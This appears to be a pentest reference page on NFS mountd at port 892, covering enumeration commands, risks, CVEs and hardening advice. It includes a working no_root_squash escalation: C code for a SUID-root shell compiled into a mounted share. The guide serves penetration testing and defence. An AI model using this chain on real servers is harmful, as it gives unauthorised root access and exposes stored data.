Port 892 – mountd (Mount Daemon)

Port 892 is a common port for mountd (rpc.mountd), the NFS mount daemon that handles the MOUNT protocol for NFSv3 and earlier. When an NFS client wants a share, it asks mountd to mount an exported directory; mountd checks the request against /etc/exports, and if it passes, hands back the root file handle the client uses to talk to NFS on port 2049. By default mountd registers a random port through rpcbind on port 111, but administrators very often pin it to a fixed port — MOUNTD_PORT=892 on RHEL/CentOS and Debian is the standard choice so NFS can be firewalled — which is why you keep seeing mountd on 892. In practice, an open port 892 means you’re looking at the NFS mount surface, and that surface is where most real NFS compromises begin.

Why It’s Open

You’ll find mountd anywhere classic NFSv3 file sharing is in use: Linux and Unix file servers, NAS appliances, storage arrays, virtualization hosts, and older Solaris/AIX/HP-UX systems. Admins rarely enable “mountd” directly — they turn on NFS, and mountd comes along as part of nfs-utils alongside rpcbind and rpc.statd. To make NFS work through a firewall, the common fix is to pin the helper daemons to static ports (MOUNTD_PORT=892, STATD_PORT, LOCKD_TCPPORT), so 892 ends up explicitly allowed through. Where you see port 892, rpcbind on 111 and NFS on 2049 are almost always right beside it — 111 is the directory, 892 is the mount daemon, and 2049 is where files actually move. NFSv4 folds mounting back into port 2049 and no longer needs a separate mountd, so a live port 892 usually signals NFSv3.

Common Risks

• Over-broad exports. The classic finding: a share exported to * or a wide subnet in /etc/exports. showmount -e lists it for anyone who can reach mountd, and a world-mountable export is a free copy of whatever’s inside — source code, backups, home directories, keys.
• no_root_squash privilege escalation. If an export is set with no_root_squash, root on the mounting client maps to root on the server. An attacker mounts the share, writes a root-owned SUID binary into it, then executes it locally on the target to get an instant root shell. This is the signature NFS pentest technique.
• AUTH_SYS / UID spoofing. Default NFS auth (sec=sys) trusts the UID and GID the client claims. There’s no real authentication — mount the share and su to any UID and you read and write that user’s files. No password required.
• Sensitive-file read and key drops. A writable export lets an attacker plant an authorized_keys file into a user’s home directory for persistent SSH access, or read /etc/shadow, backups, and config secrets straight off the mount.
• Mount-time access-control bugs. mountd is the code that enforces export rules, and it has had genuine flaws — subtree escalation, DNS-based access-control bypass, and an off-by-one that risked remote code execution (see the CVEs below).
• Denial of service. Malformed MOUNT requests and the RPC parsing path have historically crashed or hung mountd, taking NFS offline for every client.

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

Book a Demo

Enumeration & Testing

Detect the service on both transports

nmap -sV -p 892 <target>
nmap -sU -sV -p 892 <target>

Confirm mountd via rpcbind

rpcinfo -p <target> | grep mount

Look for program 100005 (mountd). The reported port confirms where the mount daemon is listening — often 892 when it’s been pinned.

List the exports with the native client

showmount -e <target>      # exported directories and who may mount them
showmount -a <target>      # hosts with a directory currently mounted
showmount -d <target>      # directories currently mounted by clients

A * or a wide CIDR next to an export is the finding — anyone can mount it.

Enumerate NFS with the nmap NSE scripts

nmap -p 111,892,2049 --script=nfs-showmount,nfs-ls,nfs-statfs <target>

nfs-showmount lists exports, nfs-ls walks the files, and nfs-statfs reports free space and mount details.

Mount a share and inspect it

mkdir -p /mnt/nfs
mount -t nfs -o vers=3 <target>:/export /mnt/nfs
ls -lan /mnt/nfs        # note owner UIDs/GIDs — AUTH_SYS trusts them

no_root_squash privilege escalation (as root on your own box)

# You are root on the CLIENT; the export allows no_root_squash
mount -t nfs -o vers=3 <target>:/export /mnt/nfs
cat > /mnt/nfs/rootshell.c <<'EOF'
#include <unistd.h>
int main(){ setuid(0); setgid(0); execl("/bin/bash","bash","-p",NULL); }
EOF
gcc /mnt/nfs/rootshell.c -o /mnt/nfs/rootshell -w
chmod u+s /mnt/nfs/rootshell   # root-owned + SUID, because root isn't squashed

The SUID binary is now owned by root on the server. When any low-privileged user runs /export/rootshell on the target, it executes as root.

Log every reachable export, its options, and each successful mount so it lands in the final pentest report instead of a scratch file.

What to Look For

Known CVEs and Exploits

The biggest risk on port 892 is misconfiguration, not a single CVE — an over-broad export combined with no_root_squash gives a straight path to root, and AUTH_SYS UID spoofing needs no exploit at all. Those are design/configuration issues in NFS, not software bugs. That said, mountd itself has a real vulnerability history worth verifying against the running nfs-utils version:

• CVE-2025-12801 — A flaw in rpc.mountd (nfs-utils) lets an NFSv3 client escalate the privileges assigned to it in /etc/exports at mount time, reaching any subdirectory or subtree of an export regardless of file permissions or root_squash/all_squash. Directly a mountd access-control bug; CVSS 6.5 (Medium), published 2026.
• CVE-2003-0252 — Off-by-one in the xlog function of mountd in nfs-utils before 1.0.4. Crafted RPC requests to mountd that lack newlines trigger a buffer condition, allowing remote denial of service and possibly code execution. CVSS 10.0 (v2) / 9.8 (v3.1) — the classic remote mountd bug.
• CVE-2011-2500 — The host_reliable_addrinfo function in nfs-utils before 1.2.4 doesn’t properly use DNS to verify export access, letting a remote attacker mount filesystems by planting crafted DNS A and PTR records. A mountd access-control bypass; CVSS 7.5 (v2).
• CVE-1999-0002 — Buffer overflow in NFS mountd giving remote root, mostly on Linux. Ancient (CVSS 10.0) but the reason attackers have always probed mountd first, and still flagged on unpatched legacy stacks.

Mitigation

• Restrict every export. Name specific hosts or tight subnets in /etc/exports — never *. Default to ro where writes aren’t needed, and always keep root_squash (and prefer all_squash with a low-privileged anon UID for public shares).
• Never use no_root_squash. It converts any client-side root into server-side root. If a workload genuinely needs it, isolate that export to a single trusted host and firewall it hard.
• Move to NFSv4 + Kerberos. NFSv4 drops the separate mountd/rpcbind ports and, with sec=krb5/krb5i/krb5p, replaces AUTH_SYS trust with real cryptographic authentication — killing UID spoofing.
• Firewall 111, 892, and 2049 to trusted hosts. NFS should never face the internet. Pinning MOUNTD_PORT=892 exists precisely so you can restrict it — use that.
• Patch nfs-utils. Run a version past the mountd access-control and off-by-one fixes, and confirm with rpcinfo/showmount after changes.
• Audit exports regularly. Periodically run showmount -e against your own servers from an untrusted network segment to catch a share that drifted open.

Real-World Example

The no_root_squash chain is one of the most reliable privilege-escalation paths in real engagements, and it shows up constantly on lab targets like Metasploitable and countless Hack The Box machines. The pattern is always the same: a scan finds mountd (often pinned to 892 next to 111 and 2049), showmount -e reveals an export shared to * with no_root_squash, and the tester mounts it from a box where they already have root. They compile a tiny SUID-root helper into the share, then execute it back on the target as an unprivileged user and land a root shell — no memory-corruption exploit, no password, just an export that trusted the client too much. Internet-wide scans have repeatedly turned up tens of thousands of NFS servers exposing exports this way, which is why “is mountd reachable, and what does it export?” is a first-move question on any host running NFS.

FAQ

What is port 892 used for?

Port 892 is the port NFS mountd (rpc.mountd) is commonly pinned to. mountd serves the MOUNT protocol for NFSv3 — it takes a client’s mount request, checks it against /etc/exports, and returns the file handle used to access the share on port 2049. mountd normally gets a random port from rpcbind on 111, but MOUNTD_PORT=892 is the standard fixed setting so NFS can be firewalled.

Is port 892 dangerous?

The port itself just runs mountd; the danger is what the exports behind it allow. An export shared to *, an export set with no_root_squash, or plain AUTH_SYS trust each turn a reachable mountd into file theft or a root pivot — usually without any software exploit. Treat any internet-facing port 892 as something to firewall or move to NFSv4 + Kerberos.

What’s the difference between port 892 (mountd) and port 2049 (NFS)?

Port 892 is the mount daemon: it authorizes mount requests and hands out the initial file handle. Port 2049 is where NFS actually reads and writes files. In NFSv3 the two are separate services (plus rpcbind on 111 to locate them); NFSv4 merges mounting into 2049 and no longer needs mountd at all.

How do I secure or close port 892?

Restrict /etc/exports to specific hosts with ro and root_squash, never export to *, and never use no_root_squash. Firewall 111/892/2049 to trusted hosts, and move to NFSv4 with sec=krb5 where you can. If nothing uses NFS, stop the NFS/nfs-utils services and rescan to confirm 892, 111, and 2049 are closed.

TL;DR

• Service: mountd / rpc.mountd — the NFSv3 mount daemon (MOUNT protocol)
• Default port: commonly pinned to 892/TCP and 892/UDP (MOUNTD_PORT=892); otherwise a random rpcbind-assigned port
• Biggest risk: over-broad exports, no_root_squash SUID-root escalation, and AUTH_SYS UID spoofing — misconfiguration more than any single CVE
• Mitigation: restrict exports to trusted hosts with root_squash, avoid no_root_squash, firewall 111/892/2049, and move to NFSv4 + Kerberos